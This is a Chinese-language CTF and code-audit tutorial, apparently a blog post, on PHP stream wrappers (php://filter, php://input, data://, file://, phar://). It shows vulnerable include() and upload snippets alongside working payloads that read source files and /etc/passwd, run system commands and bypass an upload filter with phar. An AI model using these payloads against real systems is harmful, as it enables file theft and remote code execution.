• PHP代码审计15—PHP伪协议入门


    一、PHP伪协议

    1、协议简介

    • 需要开启allow_url_fopen的:php://input、php://stdin、php://memory和php://temp
    • 不需要开启allow_url_fopen的:php://filter

    CTF中经常使用的是php://filter和php://input

    • php://filter用于读取数据或者写入。

      • 读取数据:?a=php://filter/read=convert.base64-encode/resource=xxx.php
      • 写入数据:?a=php://filter/write=string.rot13/resource=example.txt",“Hello World”
    • php://input需要post请求提交数据,是个可以访问请求的原始数据的只读流

    • php://output是一个只写的数据流, 允许你以 printecho 一样的方式 写入到输出缓冲区。

    2、使用实例

    实例1: php://filter/read应用

    if(preg_match("/flag/",$file)){
            die("Not now!");
        }
    
        include($file);  //next.php
    基本情况:对于传入的file参数,使用正则检测‘flag'字符串,并且在注释中指明了一个next.php,因此可以使用php协议绕过正则检测,并读取源码。先看看源码内容,但是读取到的源码是经过base64编码的,需要解码才能查看。
    payload: file=php://filter/read=convert.base64-encode/resource=next.php
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    实例2: php://input应用

    if (isset($_GET['file'])) {
        if ( substr($_GET["file"], 0, 6) === "php://" ) {
            include($_GET["file"]);
        } else {
            echo "Hacker!!!";
        }
    基本情况:使用if判断是否设置了file参数,传入的参数内容前六位等于“PHP//"的情况下执行后续代码。因此可以使用PHP://input传入数据,满足相应检测条件。并且利用文件包含达到RCE的效果
    payload: 
    		url:http://xx.xxx.xxx.xxx:port/?file=php://input
    		post_data: <?php system('ls') ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    二、DATA伪协议

    1、协议简介

    需要条件:

    • allow_url_fopen:on
    • allow_url_include :on

    作用:PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。

    简单用法:

    data://text/plain,
    data://text/plain;base64,
    
    • 1
    • 2

    2、使用实例

    实例1:

    if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
        echo "

    ".file_get_contents($text,'r')."


    "
    ; } 基本思路:if判断,需要传入文件变量为text,且要求文件内容为I have a dream。此时,就可以使用data协议上传内容(注意基本需求条件:php>5.2.0,all_url_include=on).也可以考虑使用php://input,只要能上传都可以 payload: ?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0= 注:“SSBoYXZlIGEgZHJlYW0=” 为 “I have a dream”的base64编码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    三、file伪协议

    1、协议简介

    使用条件:

    • allow_url_fopen:off/on
    • allow_url_include :off/on

    作用:

    ​ 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopenallow_url_include的影响。

    include(),require(),include_once(),require_once()参数可控的情况下,如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的。

    说明:

    file:// 文件系统是 PHP 使用的默认封装协议,展现了本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。在很多情况下是脚本所在的目录,除非被修改了。使用 CLI 的时候,目录默认是脚本被调用时所在的目录。在某些函数里,例如 fopen()file_get_contents()include_path 会可选地搜索,也作为相对的路径。

    简单用法:

    • linux下:?file=file:///etc/passwd
    • windows下:?file=file:///E:\phpStudy\WWW\code\phpinfo.php

    四、phar伪协议

    1、协议简介

    作用:可以将多个文件归入一个本地文件夹,也可以包含一个文件

    PHAR文件: PHAR文件是一种打包格式,通过将多数PHP文件和其他资源(如图像)捆绑到一个归档文件中来实现应用程序和库的分发。且所有PHAR文件都使用.phar作为文件扩展名,PHAR格式的归档需要使用自己写的php代码。

    PHAR文件结构:

    • 存根(stub):一个可以引导归档的php文件。存根必须包含__HALT_COMPILER();语句,并且默认存根拥有在不启用PHAR扩展的情况下运行PHAR文件的能力.
    • 清单(manifest describing the contents):清单详细说明了存归档的内容。被压缩文件的权限、属性等信息都放在这里。
    • 文件内容 (file contents):归档中包含的原始文件,即被压缩文件的内容.

    2、使用实例

    漏洞的前提条件:

    • 可以上传phar文件
    • 有可以利用的魔术方法
    • 文件操作函数的参数可控

    实例1 : 绕过文件上传限制

    上传代码:
    if(!empty($_FILES["file"]))
    {
        echo $_FILE["file"];
        $allowedExts = array("gif", "jpeg", "jpg", "png");
        @$temp = explode(".", $_FILES["file"]["name"]);
        $extension = end($temp);
        if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
        || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
        || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
        && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
        {
            move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
            echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];
        }
        else
        {
            echo "upload failed!";
        }
    }
    文件包含代码:
     if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70){
     		echo "

    error!

    "
    ; }else{ include($file.'.php'); } 代码分析:设置了后缀白名单,并且对文件类型进行了检测。只有满足上传要求后才能上传成功。在文件包含代码中,利用黑名单策略限制了http、ftp、data等伪协议的使用。 基本方法:使用phar打包php文件后,改phar文件后缀为jpg进行上传,然后使用phar协议+文件包含来利用漏洞。 上传后使用payload: include.php?file=phar://./upload/cmdt.jpg/cmd.php
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30

    五、参考文章

  • 相关阅读:
    JeeSite快速开发平台 JNPF快速开发平台3.3版本 框架源码部署文档入门说明
    SVN使用总结
    OpenGL多线程多视图的实现 编程
    双软企业认证与税收优惠政策讲解(比较齐全)
    继北极星项目后,又一款低成本AR眼镜开源方案:OpenAR
    面试算法13:二维子矩阵的数字之和
    vue draggable组件,拖拽元素时,获取元素上在data或setup中定义的数据
    我绘制文章插图的三个神级工具
    声网,站在物联网的“土壤”里
    基于javaweb的课程信息管理系统(java+springboot+freemarker+mysql)
  • 原文地址:https://blog.csdn.net/qq_45590334/article/details/126439639